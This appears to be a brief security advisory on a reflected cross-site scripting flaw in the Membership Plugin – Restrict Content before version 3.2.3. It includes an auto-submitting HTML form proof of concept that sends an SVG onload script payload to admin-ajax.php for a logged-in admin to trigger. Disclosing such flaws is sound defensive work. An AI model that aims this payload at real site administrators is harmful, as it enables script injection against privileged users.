Membership Plugin – Restrict Content < 3.2.3 – Reflected XSS

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged-in admin open a page containing the HTML code below.

<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
        <input type="text" name="action" value="rcp_ajax_dismissed_notice_handler"/>
        <input type="text" name="a" value="<svg/onload=alert(/XSS/)>"/>
        <input type="submit" value="submit"/>
    </form>
</body>